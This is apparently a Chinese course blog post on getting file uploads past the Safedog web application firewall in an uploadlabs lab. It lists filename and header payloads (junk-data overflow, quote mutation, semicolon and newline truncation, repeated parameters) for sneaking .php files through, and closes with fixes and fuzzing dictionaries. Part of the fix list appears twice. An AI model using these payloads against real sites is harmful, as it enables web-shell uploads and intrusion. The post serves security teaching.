第24天-WEB 漏洞-文件上传之 WAF 绕过及安全修复

思维导图

在这里插入图片描述

知识补充

在这里插入图片描述

上传参数名解析:明确哪些东西能修改?

Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件 MIME,视情况更改

常见绕过方法:

防匹配:让检测机制,找不到关键字 (php asp aspx 等)

数据溢出-防匹配(xxx…)
符号变异-防匹配(’ " ;)
数据截断-防匹配( /; 换行)
重复数据-防匹配(参数多次)

Payload:

大量垃圾数据缓冲溢出(Content-Disposition,filename 等)
filename=x.php
filename="x.php
filename='x.php
filename=“a.jpg;.php”;
filename=“Content-Disposition: form-data; name=“upload_file”;x.php”
filename=“x.jpg”;filename=“x.jpg”;…filename=“x.php”;
filename=“xxx/x.php”
filename=
"
x
.
p
h
p
"

文件上传安全修复方案

后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等

演示案例

上传数据包参数对应修改测试

Safedog+云服务器+uploadlabs 测试

数据溢出-防匹配(xxx…)

防匹配:让检测机制,找不到关键字 (php asp aspx 等)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Content-Disposition: form-data;大量垃圾数据 ; name=“upload_file” ; 大量垃圾数据 ; filename=" xxxx"

符号变异-防匹配(’ " ;)

Content-Disposition: form-data;

参数名 :值 ;(分号代表语句结束)

name=“upload_file” ;

safedog匹配文件名的原则,应该是在“xxxx” ‘xxxx’ 双引号或单引号之间的

在这里插入图片描述

在这里插入图片描述

双引号在后面的时候,被安全狗拦截,说明匹配的是后面的双引号,(或者单引号),之前的文件名!

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

数据截断-防匹配( ; 换行)

分号;截断,安全狗只匹配到X.jpg;没有匹配到php就结束,但是数据包又把双引号中的当做文件名。

X.jpg;.php

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

换行后,安全狗匹配的就是 x.p\nph\np

x.\np\nph\np

x\n.\np\nph\np

\nx\n.\np\nph\np

等都可以

在这里插入图片描述

(类似于把数据分开传输)

重复数据-防匹配(参数多次)

把匹配的数据多次重复(写多一点)

在这里插入图片描述

在这里插入图片描述

白名单概念 过滤filename中的值,就把数据包的一些数据名称(白名单概念)插入到其中

Content-Disposition: form-data;

name=“upload_file” ;

filename=" Content-Disposition: form-data; name=“upload_file” x.php"

在这里插入图片描述

filename=" Content-Disposition: form-data; name=“upload_file” ; x.php" 冒号去掉 也可以

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

filename=" Content-Disposition: form-data; name=“upload_file” ; x.php"

Content-Disposition: form-data; name=“upload_file” ; x.php

安全狗认为:x.php跟在了之前的Content-Disposition: form-data; name="upload_file"的后面

而不是filename的值,但是在数据包中x.php确实在“xxxxx” 双引号之间

在这里插入图片描述

在这里插入图片描述

Safedog+云服务器+uploadlabs_fuzz 测试

在这里插入图片描述

在这里插入图片描述

字典很重要,有个好字典,成功的可能更大!

文件上传安全修复方案-函数自定义及 WAF

后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等

涉及资源:

字典

https://github.com/fuzzdb-project/fuzzdb
名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等

涉及资源:

字典

https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值